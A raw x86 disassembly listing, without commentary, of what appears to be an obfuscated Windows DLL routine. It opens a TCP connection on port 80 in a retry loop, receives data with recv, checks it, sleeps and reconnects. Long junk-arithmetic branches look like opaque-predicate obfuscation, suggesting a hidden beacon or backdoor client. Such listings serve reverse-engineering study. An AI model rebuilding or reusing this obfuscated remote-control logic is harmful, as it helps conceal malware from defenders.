mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x20
call fcn.1007fc80
mov ecx, dword [esi + 0x7c]
mov eax, dword [esi + 0x28]
add esp, 0xc
mov dword [ecx + 4], 2
mov dword [ecx + 8], 1
cmp eax, 0x34d85c97
jae 0x10063d27
jmp 0x10063f39
mov eax, dword [esi + 0x74]
cmp dword [eax], 0
je 0x10063f7c
mov ecx, dword [esi + 0x80]
mov edx, dword [esi + 0x7c]
mov edi, dword [esi + 0x3c]
mov eax, dword [esi + 0x58]
mov eax, dword [eax]
xor ebx, ebx
sub esp, 0x10
mov dword [esp], edi
mov dword [esp + 4], 0
mov dword [esp + 8], edx
mov dword [esp + 0xc], ecx
call eax
mov ecx, eax
mov eax, dword [esi + 0x74]
mov dword [eax], ecx
jmp 0x10063f39
mov ecx, dword [esi + 0x78]
mov edx, dword [esi + 0x84]
mov eax, dword [esi + 0x5c]
mov edi, dword [esi + 0x80]
mov edi, dword [edi]
mov edi, dword [edi + 0x18]
mov dword [edx], edi
mov eax, dword [eax]
mov edx, dword [edx]
add edx, 4
sub esp, 0x10
mov dword [esp], 2
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], 0x16
call eax
mov ecx, dword [esi + 0x78]
mov eax, dword [esi + 0x60]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], ecx
call eax
mov ecx, dword [esi + 0x88]
mov edx, eax
mov eax, dword [esi + 0x124]
mov dword [ecx], edx
mov ecx, dword [ecx]
mov eax, dword [eax]
mov dword [eax], ecx
mov edi, dword [esi + 0xc0]
mov ebx, dword [esi + 0xbc]
mov edx, dword [esi + 0xa0]
mov eax, dword [esi + 0x8c]
mov ecx, dword [0x100d31cc]
mov dword [eax + 3], ecx
mov ecx, dword [0x100d31c9]
mov dword [eax], ecx
mov ecx, dword [esi + 0x90]
mov eax, dword [esi + 0x94]
movsd xmm0, qword [0x100d31d8]
movsd qword [ecx], xmm0
mov cl, byte [0x100d31c1]
mov byte [eax + 4], cl
mov ecx, dword [0x100d31bd]
mov dword [eax], ecx
mov ecx, dword [esi + 0x98]
mov al, byte [0x100d31b7]
mov byte [ecx + 4], al
mov eax, dword [0x100d31b3]
mov dword [ecx], eax
mov eax, dword [esi + 0x9c]
mov ecx, dword [0x100d320c]
mov dword [eax + 8], ecx
mov ecx, dword [esi + 0x8c]
movsd xmm0, qword [0x100d3204]
movsd qword [eax], xmm0
mov ax, word [0x100d31e9]
mov word [edx + 4], ax
mov eax, dword [0x100d31e5]
mov dword [edx], eax
mov eax, dword [esi + 0x11c]
mov edx, dword [eax]
sub esp, 0xc
mov eax, esp
mov dword [eax + 4], edx
mov dword [eax], ecx
mov dword [eax + 8], 0
call fcn.10051140
mov ecx, dword [esi + 0x90]
mov edx, dword [esi + 0xa4]
add esp, 0xc
mov dword [edx], eax
mov eax, dword [esi + 0x11c]
mov edx, dword [eax]
sub esp, 0xc
mov eax, esp
mov dword [eax + 4], edx
mov dword [eax], ecx
mov dword [eax + 8], 0
call fcn.10051140
mov ecx, dword [esi + 0x94]
mov edx, dword [esi + 0xa8]
add esp, 0xc
mov dword [edx], eax
mov eax, dword [esi + 0x11c]
mov edx, dword [eax]
sub esp, 0xc
mov eax, esp
mov dword [eax + 4], edx
mov dword [eax], ecx
mov dword [eax + 8], 0
call fcn.10051140
mov edx, dword [esi + 0xac]
mov ecx, dword [esi + 0x98]
add esp, 0xc
mov dword [edx], eax
mov eax, dword [esi + 0x11c]
mov edx, dword [eax]
sub esp, 0xc
mov eax, esp
mov dword [eax + 4], edx
mov dword [eax], ecx
mov dword [eax + 8], 0
call fcn.10051140
mov edx, dword [esi + 0xb0]
mov ecx, dword [esi + 0x9c]
add esp, 0xc
mov dword [edx], eax
mov eax, dword [esi + 0x11c]
mov edx, dword [eax]
sub esp, 0xc
mov eax, esp
mov dword [eax + 4], edx
mov dword [eax], ecx
mov dword [eax + 8], 0
call fcn.10051140
mov ecx, dword [esi + 0xb4]
add esp, 0xc
mov edx, eax
mov eax, dword [esi + 0x11c]
mov dword [ecx], edx
mov edx, dword [eax]
xor ecx, ecx
sub esp, 0xc
mov eax, esp
mov dword [eax + 8], ecx
mov ecx, dword [esi + 0xa0]
mov dword [eax + 4], edx
mov dword [eax], ecx
call fcn.10051140
mov edx, dword [esi + 0x124]
add esp, 0xc
mov ecx, eax
mov eax, dword [esi + 0xb8]
mov dword [eax], ecx
mov ecx, dword [esi + 0xc4]
mov dword [ebx], 0x1000
mov dword [edi], 0
mov edx, dword [edx]
mov edx, dword [edx]
mov dword [ecx + 4], edx
mov word [ecx], 2
sub esp, 4
mov dword [esp], 0x50
call dword [eax]
mov ecx, dword [esi + 0xc4]
mov edx, eax
mov eax, dword [esi + 0xa4]
mov word [ecx + 2], dx
xor ecx, ecx
sub esp, 0xc
mov dword [esp], 2
mov dword [esp + 4], 1
mov dword [esp + 8], 0
call dword [eax]
mov edx, dword [esi + 0xc8]
mov ecx, dword [esi + 0xc4]
mov edi, eax
mov eax, dword [esi + 0xa8]
mov dword [edx], edi
mov eax, dword [eax]
mov edx, dword [edx]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], 0x10
call eax
mov ecx, eax
mov eax, dword [esi + 0xc0]
mov dword [eax], ecx
mov eax, dword [0x100d4fd0]
or eax, dword [0x100d4fd4]
and eax, 0x33c2807
xor eax, 0x18045c4e
or eax, 0xd3c2d979
xor eax, 0xd4893784
or eax, 0xa1a0e07
or eax, 0x281e1c5e
imul eax, eax, 0x6e363f52
or eax, 0xc292ff2
or eax, 0x8891155f
mov ecx, 0xd1de1999
xor edx, edx
div ecx
or eax, 0x6ae3038e
sub eax, 0xf3fb3e90
mov ecx, 0xbb89cbf7
xor edx, edx
div ecx
xor eax, 0xe44b6555
xor eax, 0xe6c8f1da
and eax, 0xda1019c3
and eax, 0x6ed28cf9
imul eax, eax, 0xd84ab6e3
mov ecx, 0x99eac7
xor edx, edx
div ecx
xor eax, 0xdc5bc8c7
and eax, 0x3c0c155
xor eax, 0x6b31dafd
or eax, 0x7a897ef3
mov ecx, 0x1ffb4f4d
xor edx, edx
div ecx
xor eax, 0x9d3033bf
xor eax, 0x441102ef
and eax, 0x43e6e504
mov ecx, 0xd70c8313
xor edx, edx
div ecx
mov ecx, 0xa9240b55
xor edx, edx
div ecx
add eax, 0x3fbfc2ed
imul eax, eax, 0x30162268
imul eax, eax, 0x15e5a1dd
sub eax, 0xd863054e
mov ecx, 0x102da16
xor edx, edx
div ecx
or eax, 0xc993a33d
imul eax, eax, 0xf274b739
xor eax, 0x96cbea6b
xor eax, 0x7cb02ec8
mov ecx, 0x3dda5a1f
xor edx, edx
div ecx
and eax, 0x3399a9db
and eax, 0x9842ed23
and eax, 0xa903edb4
imul eax, eax, 0x797ad3a7
xor eax, 0xd54348e9
sub eax, 0x9bb4c5e0
sub eax, 0xceb3feaf
mov ecx, 0xcf9c0b65
xor edx, edx
div ecx
or eax, 0xcdfb8d07
or eax, 0x7b2ddf1b
imul eax, eax, 0x5a556b6
xor eax, 0x72cf7971
and eax, 0x2c440409
add eax, 0x908c3af2
sub eax, 0xda3f3340
sub eax, 0xc71d46c2
mov ecx, 0x439ac7a2
xor edx, edx
div ecx
xor eax, 0xcdcd1ff4
imul eax, eax, 0xeec67f81
imul eax, eax, 0x91aeaa8
or eax, 0xff9abab7
sub eax, 0x907d5406
and eax, 0x4b3a745d
add eax, 0x537c82de
add eax, 0x5562d103
add eax, 0x897efbb4
imul eax, eax, 0x69a1deee
imul eax, eax, 0x51ed24b9
xor eax, 0x2ec52c6
mov ecx, 0xf8c26aa2
xor edx, edx
div ecx
xor eax, 0xb39a7f3a
sub eax, 0x8a58d765
imul eax, eax, 0xbeed270b
cmp eax, 0x5f432899
jae 0x100669dc
mov ecx, dword [esi + 0xc0]
mov eax, dword [0x100d4fd8]
imul eax, dword [0x100d4fdc]
or eax, 0x10b26de9
mov edi, 0x4ac63ad5
xor edx, edx
div edi
or eax, 0x6e1be6bd
xor eax, 0x7ac31d3d
add eax, 0x3145ed83
sub eax, 0x940c78e2
mov edi, 0x46b6f079
xor edx, edx
div edi
imul eax, eax, 0x377f7e3e
mov edi, 0xec2b2033
xor edx, edx
div edi
add eax, 0x428d6793
and eax, 0xb0628d4f
mov edi, 0x2fe07c94
xor edx, edx
div edi
and eax, 0xe46178f1
imul eax, eax, 0x4fe02d40
and eax, 0xfbacf5b6
mov edi, 0x8f2eb092
xor edx, edx
div edi
or eax, 0x93b04a57
add eax, 0xa1f1ab97
sub eax, 0xa5545ce2
and eax, 0x44169cb8
and eax, 0x8362408f
mov edi, 0x2db4f410
xor edx, edx
div edi
add eax, 0x9d9c76f6
mov edi, 0x38d35f80
xor edx, edx
div edi
sub eax, 0x954e7c3
sub eax, 0x5bdb6660
and eax, 0x49e4467c
mov edi, 0xb0022ff9
xor edx, edx
div edi
and eax, 0xf3cad150
xor eax, 0xc1203a2b
mov edi, 0x4be93327
xor edx, edx
div edi
mov edi, 0x86bde260
xor edx, edx
div edi
add eax, 0x12254e8a
mov edi, 0x4f37ec09
xor edx, edx
div edi
and eax, 0xa88b99fe
sub eax, 0x93006300
or eax, 0x596345dc
sub eax, 0x95a2f01
imul eax, eax, 0x6d3b3b3a
xor eax, 0x5499336c
add eax, 0x87b2a8d4
sub eax, 0x44fb0af1
mov edi, 0xeaa152f0
xor edx, edx
div edi
xor eax, 0x17b5cfbf
or eax, 0x1821a9ed
sub eax, 0xc1a6da6e
add eax, 0x1d380a0e
or eax, 0x3e60f576
or eax, 0xdb86332c
and eax, 0xb93e8d81
and eax, 0x74c4b626
and eax, 0xf4f293a8
or eax, 0x24add69
sub eax, 0xa8e25e3b
xor eax, 0xb4443e05
sub eax, 0xe9a87c4b
xor eax, 0x8501e665
and eax, 0xda5a721d
or eax, 0xf02d564
mov edi, 0xa1b150dc
xor edx, edx
div edi
xor eax, 0xae3e420c
or eax, 0xb9f0602e
imul eax, eax, 0x78c28ac1
add eax, 0x2df0cd8a
add eax, 0xf91973a8
xor eax, 0x9334643c
mov edi, 0x5d5f5456
xor edx, edx
div edi
xor eax, 0xbf4d7810
and eax, 0x6adcf3fa
and eax, 0x5e277dd0
sub eax, 0x95f3f06d
mov edi, 0x8d95aa41
xor edx, edx
div edi
cmp dword [ecx], 0xffffffff
sete cl
mov byte [esi + 0x27], cl
cmp eax, 0x77ee071d
je 0x100669dc
mov al, byte [esi + 0x27]
test al, 1
jne 0x100645b9
jmp 0x10064602
mov ecx, dword [esi + 0xc4]
mov edx, dword [esi + 0xc8]
mov eax, dword [esi + 0xa8]
mov eax, dword [eax]
mov edx, dword [edx]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], 0x10
call eax
mov ecx, eax
mov eax, dword [esi + 0xc0]
mov dword [eax], ecx
sub esp, 4
mov dword [esp], 0x320
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x10064225
mov edi, dword [esi + 0xc8]
sub esp, 4
mov dword [esp], 0x104
call fcn.1007c2b1
mov edx, dword [esi + 0xd0]
add esp, 4
mov ecx, eax
mov eax, dword [esi + 0xcc]
mov dword [eax], ecx
mov ecx, dword [0x100d321a]
mov dword [edx], ecx
mov ecx, dword [0x100d321e]
mov dword [edx + 4], ecx
mov ecx, dword [0x100d3222]
mov dword [edx + 8], ecx
mov ecx, dword [eax]
sub esp, 8
mov eax, esp
mov dword [eax + 4], edx
mov dword [eax], ecx
call fcn.1009cfc0
mov ecx, dword [esi + 0xcc]
add esp, 8
mov eax, dword [esi + 0x3c]
mov ecx, dword [ecx]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.1009cfd0
mov ecx, dword [esi + 0xcc]
add esp, 8
mov eax, dword [esi + 0x40]
mov ecx, dword [ecx]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.1009cfd0
mov ecx, dword [esi + 0xcc]
add esp, 8
mov eax, dword [esi + 0x38]
mov eax, dword [eax]
mov ecx, dword [ecx]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.1009cfd0
add esp, 8
mov eax, dword [esi + 0xcc]
mov ecx, dword [eax]
lea eax, [0x100c8496]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.1009cfd0
mov edx, dword [esi + 0xcc]
mov ecx, dword [esi + 0xac]
add esp, 8
mov eax, dword [esi + 0xd4]
mov edx, dword [edx]
mov dword [eax], edx
mov ecx, dword [ecx]
mov dword [esi + 0x20], ecx
mov ecx, dword [eax]
sub esp, 4
mov eax, esp
mov dword [eax], ecx
call fcn.1009d150
mov edx, dword [esi + 0xd4]
add esp, 4
mov ecx, eax
mov eax, dword [esi + 0x20]
mov edx, dword [edx]
mov edi, dword [edi]
xor ebx, ebx
sub esp, 0x10
mov dword [esp], edi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], 0
call eax
mov ecx, eax
mov eax, dword [esi + 0xc0]
mov dword [eax], ecx
cmp dword [eax], 0xffffffff
jne 0x10064ab5
mov eax, dword [0x100d4fe0]
xor eax, dword [0x100d4fe4]
add eax, 0xe5418592
imul eax, eax, 0x9efbb81f
mov ecx, 0x84ce8d0d
xor edx, edx
div ecx
xor eax, 0x48ef508
add eax, 0x9c60e185
mov ecx, 0xc6c9973c
xor edx, edx
div ecx
or eax, 0x697334cd
and eax, 0x502c1641
imul eax, eax, 0xcb0c019f
imul eax, eax, 0xe81f03e4
add eax, 0xf184b6df
mov ecx, 0x973184c4
xor edx, edx
div ecx
xor eax, 0xabbc7088
imul eax, eax, 0xe2bb52df
imul eax, eax, 0x8e1bf7b3
and eax, 0x9ed0d8b5
and eax, 0xf1333bbe
or eax, 0x9bbbf44b
mov ecx, 0x46864a62
xor edx, edx
div ecx
add eax, 0x2fe5ff25
sub eax, 0x56ae5414
xor eax, 0xe7332831
sub eax, 0xdbe8a0d4
mov ecx, 0xb4ee11ba
xor edx, edx
div ecx
imul eax, eax, 0xe5c39919
xor eax, 0x8858db3
and eax, 0x9b7a1866
and eax, 0x1068eb3
sub eax, 0x4b47a3f9
xor eax, 0xc5dc10a1
imul eax, eax, 0xa2f045c1
add eax, 0xbd85d348
imul eax, eax, 0xd4cd2a19
or eax, 0xc770af47
xor eax, 0x82f1580b
and eax, 0x253ece3b
add eax, 0x8cd03b1f
and eax, 0x24a8f62c
and eax, 0xab26a923
add eax, 0x3bcc319
or eax, 0xcf005d3a
sub eax, 0x8d0267b3
xor eax, 0x84aaf846
mov ecx, 0xc3202e4c
xor edx, edx
div ecx
add eax, 0x83764d0
imul eax, eax, 0xfe47cad2
add eax, 0x865a3998
mov ecx, 0x274b7403
xor edx, edx
div ecx
or eax, 0x513a0a9f
sub eax, 0x6b3177e
sub eax, 0x5365eabd
xor eax, 0x56441c27
imul eax, eax, 0x121d1cd3
sub eax, 0xc13f2f3a
xor eax, 0x18188631
and eax, 0x84b97301
or eax, 0x84c24bfc
xor eax, 0xb7559e20
imul eax, eax, 0x5452668c
sub eax, 0xada54f32
add eax, 0xefb09fa9
imul eax, eax, 0xac892df4
or eax, 0xe4541ed7
mov ecx, 0xbe16e915
xor edx, edx
div ecx
mov ecx, 0x937dc848
xor edx, edx
div ecx
xor eax, 0x25ffcd83
mov ecx, 0x5ec828f3
xor edx, edx
div ecx
add eax, 0x4c66101d
mov ecx, 0x8c751d25
xor edx, edx
div ecx
add eax, 0x9e643ba6
sub eax, 0xa7f6fac8
imul eax, eax, 0x5b5d72f3
cmp eax, 0xb09acaf5
ja 0x100669e1
mov ecx, dword [esi + 0x2c]
mov eax, dword [0x100d4fe8]
sub eax, dword [0x100d4fec]
xor eax, 0x651ebed7
add eax, 0x3de70028
imul eax, eax, 0x8176911
or eax, 0x75ff349d
xor eax, 0x5397e95a
and eax, 0x860ddbf9
and eax, 0x6de25446
sub eax, 0x1996ba95
mov edi, 0x7167f8a4
xor edx, edx
div edi
add eax, 0xbd2b9f67
xor eax, 0x11856a32
xor eax, 0xc82adeb8
or eax, 0xa6f1fa65
add eax, 0x1a95549
sub eax, 0x46325518
imul eax, eax, 0x4d9cee1
mov edi, 0x215b54b
xor edx, edx
div edi
or eax, 0xcf11d60
mov edi, 0x22fe40f9
xor edx, edx
div edi
or eax, 0x9b8dbde0
xor eax, 0xbd2b287b
xor eax, 0x1d87aac8
sub eax, 0x38977eb5
and eax, 0xfd376806
mov edi, 0x2c7297c0
xor edx, edx
div edi
xor eax, 0xa2c513e0
or eax, 0xb0eb7e99
and eax, 0x3eb367b7
mov edi, 0x6d1092ff
xor edx, edx
div edi
add eax, 0xcd1bb949
and eax, 0x647cc53c
or eax, 0x99db0072
sub eax, 0xb93be64c
mov edi, 0x9ba42d29
xor edx, edx
div edi
mov edi, 0x45e00c34
xor edx, edx
div edi
sub eax, 0x4767046e
imul eax, eax, 0x7106c8eb
and eax, 0xf38f3b60
sub eax, 0x4705ca22
or eax, 0xd1beb32e
imul eax, eax, 0xa889082a
imul eax, eax, 0xfdda0367
xor eax, 0x5aa0a567
or eax, 0xe86606c3
or eax, 0x36589cdb
and eax, 0xeca92fd2
sub eax, 0x954d8eb5
mov edi, 0x8a8e8c56
xor edx, edx
div edi
sub eax, 0xa97f928f
imul eax, eax, 0x1b951d6a
sub eax, 0x398740e7
and eax, 0x60284bdd
xor eax, 0x3fac9f4c
and eax, 0xd70d3003
add eax, 0x43746746
xor eax, 0x13a3fb4b
xor eax, 0xef63292b
mov edi, 0xd4f9286c
xor edx, edx
div edi
or eax, 0x9b55eba2
imul eax, eax, 0x17076881
or eax, 0x74ff7528
add eax, 0xf48c89d2
mov edi, 0xf8df5e
xor edx, edx
div edi
xor eax, 0xc3330b30
and eax, 0xaf16de5a
imul eax, eax, 0x65abd3a9
or eax, 0x793c7fa9
mov edi, 0x6bb1b4a1
xor edx, edx
div edi
add eax, 0xbb6c88fc
imul eax, eax, 0xdb13d9d9
or eax, 0xd2a15c2a
mov edi, 0xd33e22cb
xor edx, edx
div edi
mov dword [ecx], 0
cmp eax, 0xe68d1255
ja 0x100648f0
jmp 0x1006695c
mov edi, dword [esi + 0xdc]
mov eax, dword [esi + 0xd8]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x1000
call fcn.1007fc80
mov edx, dword [esi + 0xe0]
mov ecx, dword [esi + 0xe4]
mov eax, dword [esi + 0xec]
add esp, 0xc
mov dword [edi], 0
mov dword [edx], 0
mov dword [ecx], 1
mov dword [eax], 0
mov eax, dword [esi + 0xd8]
mov ecx, dword [esi + 0xc8]
mov ecx, dword [ecx]
xor edx, edx
sub esp, 0x10
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x1000
mov dword [esp + 0xc], 0
call dword [sym.imp.WS2_32.dll_recv]
mov edx, dword [esi + 0xdc]
mov ecx, dword [esi + 0xd8]
mov edi, eax
mov eax, dword [esi + 0xf0]
mov dword [edx], edi
mov edx, dword [0x100d310a]
mov dword [eax], edx
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.1005e590
add esp, 8
mov ecx, eax
mov eax, dword [esi + 0xf4]
mov dword [eax], ecx
cmp dword [eax], 0
je 0x10064f2f
mov eax, dword [0x100d4ff0]
or eax, dword [0x100d4ff4]
imul eax, eax, 0x55817ebc
xor eax, 0xb82ad99c
add eax, 0x95c93730
or eax, 0x5a595961
or eax, 0x61ead8a5
xor eax, 0x870860e7
xor eax, 0x7b25ac60
sub eax, 0xfb849062
add eax, 0xa8b4adfd
xor eax, 0x3e4eb12
xor eax, 0xe3de9579
sub eax, 0x58ae08d8
add eax, 0x901dff2c
xor eax, 0x67957675
and eax, 0x49a63f5b
or eax, 0x5886ef40
sub eax, 0x3a17030
or eax, 0x212a08f4
and eax, 0x7da110c7
imul eax, eax, 0xb985c60b
and eax, 0x1f169d5e
mov ecx, 0xf86894e5
xor edx, edx
div ecx
add eax, 0xc8fbb9d0
add eax, 0x13801daf
add eax, 0xea9fa646
and eax, 0x362910b8
or eax, 0xeb13f00e
sub eax, 0x61e2a6fb
imul eax, eax, 0xbad492f1
and eax, 0x7bea5595
sub eax, 0x3935c1c1
imul eax, eax, 0x4ab245fa
imul eax, eax, 0x32ec3a29
xor eax, 0x4fd19b0c
imul eax, eax, 0x70090bf1
add eax, 0xec1b1798
imul eax, eax, 0x45003b2c
and eax, 0x8b41fe4f
sub eax, 0x5b1d763c
add eax, 0xc0e4d835
and eax, 0x82fe14f0
or eax, 0x184f6904
imul eax, eax, 0x80cabc16
add eax, 0x7b37ce2d
or eax, 0x98443dc3
imul eax, eax, 0x8bc60969
and eax, 0x64d8e3a
or eax, 0xb824c6ff
imul eax, eax, 0x49c5613c
xor eax, 0xf14bf13b
mov ecx, 0x94878535
xor edx, edx
div ecx
imul eax, eax, 0x1852a7a0
xor eax, 0x57a0c753
mov ecx, 0xf8cea30
xor edx, edx
div ecx
or eax, 0xa79152b4
add eax, 0xf8b35077
sub eax, 0x6c6ca711
xor eax, 0x92379c94
mov ecx, 0x4334eb09
xor edx, edx
div ecx
add eax, 0x4ec9ca8c
sub eax, 0x988e7e38
and eax, 0xcb6e6890
add eax, 0x4b39390a
mov ecx, 0xb69c7d0e
xor edx, edx
div ecx
imul eax, eax, 0x5ceb93e0
add eax, 0x72a7ad6f
sub eax, 0x5ee1ff05
sub eax, 0xb942b48f
imul eax, eax, 0xd1673adc
add eax, 0x71f4a50e
add eax, 0x5264a2b6
mov ecx, 0x3e5f71
xor edx, edx
div ecx
cmp eax, 0xb8d3deb5
je 0x100669ef
mov eax, dword [0x100d4ff8]
add eax, dword [0x100d4ffc]
imul eax, eax, 0x4224ed20
add eax, 0xe3d9d60
or eax, 0xf4671660
sub eax, 0xe364c66a
imul eax, eax, 0x62b76cd5
imul eax, eax, 0x8ab9e7bd
or eax, 0x4f125a12
xor eax, 0x445432a5
sub eax, 0xb0d59d93
sub eax, 0xd366d231
xor eax, 0x4d4cf19f
or eax, 0xdd99d7d7
sub eax, 0xbda07032
imul eax, eax, 0x2fbc8e2
sub eax, 0x28b8bed9
sub eax, 0x6ea48047
imul eax, eax, 0xb468e657
mov ecx, 0x180b07f0
xor edx, edx
div ecx
and eax, 0x271fdf33
add eax, 0xab6bdc2d
imul eax, eax, 0x55819689
xor eax, 0x43de3677
and eax, 0x3c32195b
and eax, 0xee5f3b9d
and eax, 0x4e33a99
mov ecx, 0x8e17257d
xor edx, edx
div ecx
or eax, 0xe8f77077
or eax, 0xb310076a
and eax, 0x79e82b66
xor eax, 0xb7d5672
or eax, 0xe08f5ca3
mov ecx, 0x76f3ea93
xor edx, edx
div ecx
or eax, 0x3c1a234e
add eax, 0xda94e1aa
mov ecx, 0x28cd4c1b
xor edx, edx
div ecx
mov ecx, 0xa435e1d0
xor edx, edx
div ecx
and eax, 0x38354e96
or eax, 0xed7f0121
and eax, 0xe6a22c15
imul eax, eax, 0xc65807da
add eax, 0xc2d327c5
or eax, 0x32f54e77
imul eax, eax, 0xff50b397
sub eax, 0x7911c148
sub eax, 0xd4462fd2
imul eax, eax, 0x8eeaefa2
or eax, 0x94ea7789
and eax, 0xc864ec2d
xor eax, 0x48f9c5d3
sub eax, 0x5e53af16
or eax, 0xdd4595db
xor eax, 0xec7d598
add eax, 0x55c9d06c
or eax, 0xfcebd386
or eax, 0x1825e98f
xor eax, 0xa0801835
mov ecx, 0xb0862bed
xor edx, edx
div ecx
sub eax, 0x5e62c2ce
or eax, 0x7601d88c
and eax, 0x37b559ee
add eax, 0x61f07a05
and eax, 0x3689eaf5
add eax, 0x4f27fd9b
mov ecx, 0x20994c1e
xor edx, edx
div ecx
mov ecx, 0xa1950455
xor edx, edx
div ecx
imul eax, eax, 0x317a4dd3
imul eax, eax, 0xc1b3d6db
sub eax, 0x242f7eee
add eax, 0xe21bb105
mov ecx, 0x3e879385
xor edx, edx
div ecx
sub eax, 0x9c05aaba
mov ecx, 0x2e9df683
xor edx, edx
div ecx
mov ecx, eax
mov eax, dword [esi + 0xc8]
mov dword [esi + 0x1c], ecx
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.WS2_32.dll_closesocket]
sub esp, 4
mov dword [esp], 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [esi + 0x30]
mov ecx, dword [esi + 0x34]
mov edx, dword [esi + 0x38]
mov eax, dword [eax]
mov ecx, dword [ecx]
mov edx, dword [edx]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.10062c80
mov ecx, dword [esi + 0x2c]
add esp, 0xc
mov edx, eax
mov eax, dword [esi + 0x1c]
mov dword [ecx], edx
cmp eax, 0x94deb3d1
jae 0x100669ef
jmp 0x1006695c
mov eax, dword [0x100d5000]
and eax, dword [0x100d5004]
xor eax, 0x96a2b39e
or eax, 0x1414a744
and eax, 0x7b549dcf
xor eax, 0x266940ff
or eax, 0x45390a62
imul eax, eax, 0xdc940369
xor eax, 0x532aaafc
add eax, 0xfc210a9b
and eax, 0x91a87072
imul eax, eax, 0xe9ef77a4
xor eax, 0x5c81df7f
or eax, 0x2f161069
xor eax, 0x98aabb27
imul eax, eax, 0x2f05310b
mov ecx, 0xa514ef40
xor edx, edx
div ecx
mov ecx, 0x65c989f0
xor edx, edx
div ecx
xor eax, 0x7a126852
imul eax, eax, 0x8d91135
and eax, 0xf3762b7d
mov ecx, 0x86b0efde
xor edx, edx
div ecx
xor eax, 0x2973a263
imul eax, eax, 0x1c11af4e
sub eax, 0xecbce4bd
and eax, 0x1d0d9cc3
xor eax, 0xca127917
sub eax, 0xf96cd876
sub eax, 0x3fd492c
add eax, 0x24f2fa69
or eax, 0xd60e1b42
add eax, 0x718cab1b
or eax, 0xbcdad21c
sub eax, 0x4da28af6
and eax, 0xf9be0e63
and eax, 0xec5671f3
and eax, 0x7b0c2457
add eax, 0x16a55a6d
xor eax, 0x8f46050b
xor eax, 0x4d8b203a
mov ecx, 0x7eb2fac4
xor edx, edx
div ecx
add eax, 0xb10b6b7b
mov ecx, 0x4df70d44
xor edx, edx
div ecx
mov ecx, 0x73ec5fd2
xor edx, edx
div ecx
or eax, 0x887771be
add eax, 0x4624c5f7
and eax, 0x3fa46489
or eax, 0x7994c71c
xor eax, 0xf94e2a7b
and eax, 0x5adb48f4
imul eax, eax, 0xb2dd1906
add eax, 0xfb6f4d2f
xor eax, 0x90c78844
mov ecx, 0x42d9dd79
xor edx, edx
div ecx
add eax, 0xcf8ca6ff
or eax, 0x938ca2eb
mov ecx, 0x7c1bbb9c
xor edx, edx
div ecx
and eax, 0x1ab6d97f
sub eax, 0xe8e6cfa4
add eax, 0x727212ee
sub eax, 0x4db104ed
add eax, 0xa17efbfd
sub eax, 0x9959c3ea
or eax, 0x1fd690bf
add eax, 0xe645f566
imul eax, eax, 0x47755d76
or eax, 0x993a9014
sub eax, 0x1256e5f3
add eax, 0x9952d1ac
imul eax, eax, 0xdd4b7799
add eax, 0x19d133e4
add eax, 0xc85872ba
mov ecx, 0xced0fa20
xor edx, edx
div ecx
add eax, 0xe4e4d6e0
cmp eax, 0x2e661a39
jb 0x10066a44
mov eax, dword [0x100d5008]
add eax, dword [0x100d500c]
xor eax, 0x24e5f4a1
imul eax, eax, 0xf28e8914
or eax, 0xf3c40646
sub eax, 0x2fe312b8
mov ecx, 0x214f3b1a
xor edx, edx
div ecx
xor eax, 0x3474b950
or eax, 0xb533ede
imul eax, eax, 0x1af848d
xor eax, 0xcdde7952
imul eax, eax, 0x947a8ebd
or eax, 0x144de623
imul eax, eax, 0x812fbfa2
imul eax, eax, 0xf1d1f70f
and eax, 0x3ed2ef96
imul eax, eax, 0xa5a82ddf
sub eax, 0xf444526c
add eax, 0x52bc7a61
and eax, 0xeedf8429
and eax, 0x2da7bc7e
sub eax, 0xeb1a2ee9
and eax, 0xf9f2e2f7
xor eax, 0x8d801393
or eax, 0xb4e64cfd
add eax, 0x19701c6f
sub eax, 0x1448d2f7
mov ecx, 0x657f5fcc
xor edx, edx
div ecx
add eax, 0x3fe4423f
or eax, 0x30b2b769
add eax, 0xdb1c47df
sub eax, 0x2a3e2885
mov ecx, 0x1b10df91
xor edx, edx
div ecx
or eax, 0xc7a16b92
xor eax, 0x4492d158
imul eax, eax, 0x612a8791
xor eax, 0xf6ace9b6
mov ecx, 0x20094acc
xor edx, edx
div ecx
or eax, 0x36dd654e
imul eax, eax, 0x3bd75863
mov ecx, 0x85a120a2
xor edx, edx
div ecx
or eax, 0xbb8035a3
xor eax, 0x352ca927
add eax, 0x3c501a63
imul eax, eax, 0x2925b83e
mov ecx, 0xe920244
xor edx, edx
div ecx
add eax, 0x9afc3ac7
imul eax, eax, 0xe5b75569
xor eax, 0x748c7201
or eax, 0xb3ae1a59
xor eax, 0xc2144a8e
imul eax, eax, 0x552df168
and eax, 0x1593b00c
imul eax, eax, 0xf006e1bb
imul eax, eax, 0xc62dcad6
sub eax, 0x889e6ceb
add eax, 0x2cf192cb
or eax, 0xb6fd56d0
or eax, 0x3bb3022a
and eax, 0xe31919d7
imul eax, eax, 0x74a426f
sub eax, 0x9448c9b2
imul eax, eax, 0x8555f6fd
xor eax, 0xac276fe8
add eax, 0xb398311e
xor eax, 0xac228b78
or eax, 0x389d396b
and eax, 0x5e38b136
imul eax, eax, 0x6e26ae6c
add eax, 0x1f29b1bb
mov ecx, 0xae7bcb35
xor edx, edx
div ecx
and eax, 0xe6c9c4ed
imul eax, eax, 0x8609230e
add eax, 0x733ba16a
mov dword [esi + 0x14], eax
